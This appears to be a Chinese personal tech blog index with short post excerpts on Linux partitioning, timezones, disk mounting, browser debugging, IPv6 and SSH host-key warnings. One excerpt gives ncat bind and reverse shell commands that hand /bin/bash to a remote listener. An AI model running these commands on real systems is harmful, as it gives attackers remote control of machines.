家庭服务器Home Server实践
引用自家庭服务器Home Server实践 大佬写的很好,我这里不赘述,这些都是我在家庭服务器上实践过的,非常有用。
linux分区方案
常用方案 分为3个区 挂载点/;主分区;安装系统和软件;大小为30G;分区格式为ext4; 挂载点/home;逻辑分区;相当于“我的文档”;大小为硬盘剩下的; 分区格式ext4; swap;逻辑分区;充当虚拟内存;大小等于内存大小或内存的一半(本人16G);分区格式为swap /boot ;引导分区;逻辑分区; 大小为1G ;分区格式为ext4;
linux修改时区
Linux 设置时区和修改时间123timedatectl set-timezone Asia/Shanghai #服务器时区设置date #查看时间date -s "2024-07-17 09:28:05" #修改时间 保存退出,然后reboot重启服务器即可生效,date命令查看是24小时时间格式。
在浏览器调试js程序
在浏览器中调试在编写更复杂的代码前,让我们先来聊聊调试吧。 调试 是指在一个脚本中找出并修复错误的过程。所有的现代浏览器和大多数其他环境都支持调试工具 —— 开发者工具中的一个令调试更加容易的特殊用户界面。它也可以让我们一步步地跟踪代码以查看当前实际运行情况。 在这里我们将会使用 Chrome(谷歌浏览器),因为它拥有足够多的功能,其他大部分浏览器的功能也与之类似。 “资源(Sources)”面板你的 Chrome 版本可能看起来有一点不同,但是它应该还是处于很明显的位置。 在 Chrome 中打开 示例页面。 使用快捷键 F12(Mac:Cmd+Opt+I)打开开发者工具。 选择 Sources(资源) 面板。如果你是第一次这么做,那你应该会看到下面这个样子: 切换按钮 会打开文件列表的选项卡。 让我们在预览树中点击和选择 hello.js。这里应该会如下图所示: 资源(Sources)面板包含三个部分: 文件导航(File Navigator) 区域列出了 HTML、JavaScript、CSS 和包括图片在内的其他依附于此页面的文件。Chrome...
重定向和转发
重定向简而言之,重定向就是servlet将新的URL返回给Location,浏览器获得Location值,访问新的URL。从时序图中可以看出,服务器只负责将新的URL注入Location,URL的转变是由浏览器完成的 转发与重定向不同的是,转发的动作是在服务端完成,也就是说server直接将新的URL中的资源返回给浏览器,浏览器地址栏不变,用户察觉不到URL的转变。
linux下硬盘挂载和分区
初始化硬盘并挂载 执行fdisk -l查看硬盘信息 执行以下命令,对 /dev/vdb 裸设备直接创建文件系统格式。mkfs -t <文件系统格式> /dev/vdb 不同文件系统支持的分区大小不同,请根据实际需求合理选择文件系统。以设置文件系统为 EXT4 为mkfs -t ext4 /dev/vdb 执行以下命令,新建挂载点。mkdir <挂载点> 以新建挂载点 /data 为例:mkdir /data 执行以下命令,将新建分区挂载至新建的挂载点。mount /dev/vdb <挂载点> 以新建挂载点 /data 为例:mount /dev/vdb /data 执行以下命令,查看挂载结果。df -TH 开机自动挂载 执行以下命令,查看文件系统的 UUID。blkid /dev/vdb 执行以下命令,使用 VI 编辑器打开 /etc/fstab 文件。vi /etc/fstab 在 /etc/fstab 文件中添加以下内容。 1<设备信息> <挂载点>...
docker网络模式
...
IPV6的基础知识
【IPv6地址自动配置的一些基础知识】IPv6地址自动配置的三种基本形式:1)Stateless无状态的。 这个过程是 “无状态的”,原因是它不依赖于外部分配机制(例如IPv6动态主机配置协议(DHCPv6))的状态或是否存在。 在没有外部或用户干预的情况下, 设备尝试配置其自身的IPv6地址 (可能是多个地址)。2)Stateful有状态的。 有状态的过程仅依赖于外部地址分配机制(例如DHCPv6)。DHCPv6服务器以类似于IPv4 DHCP操作的方式,将128bit IPv6地址分配给设备。3)Stateless+Stateful无状态和有状态组合方式。 这个过程涉及无状态地址自动配置与其他IP参数的有状态配置相结合一起使用的形式。 通常情况下, 这需要一台设备使用无状态方法自动配置一个IPv6地址,之后利用DHCPv6得到其他参数或选项,比如要在给定网络上联系哪台NTP服务器来查询时间分辨率。 无状态使用无状态地址自动配置 (SLAAC, Stateless address Autoconfiguration) 有状态使用IPv6动态主机配置协议 (DHCPv6,...
网络渗透工具
棱角社区这里面有很多方便快捷的工具和命令,帮助我们完成包括文件上传和反弹shell的操作。棱角社区 ncat命令使用他的主要作用是反弹shell。那么就会有两种方式: 正向反弹123456# 被控制端nc -lvp <PORT> -e /bin/bash# 控制端nc <IP> <PORT> 反向反弹12345# 被控制端nc -e /bin/bash <IP> <PORT># 控制端nc -lvp <PORT> 不可否认的就是一定是被控制端将bash的权限交出来。但是正向和反向取决于是我们监听还是被监听。
win下ssh连接报错被修改
删除旧ssh密钥1234567891011121314[user@hostname ~]$ ssh root@pong@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that a host key has just been changed.The fingerprint for the RSA key sent by the remote host...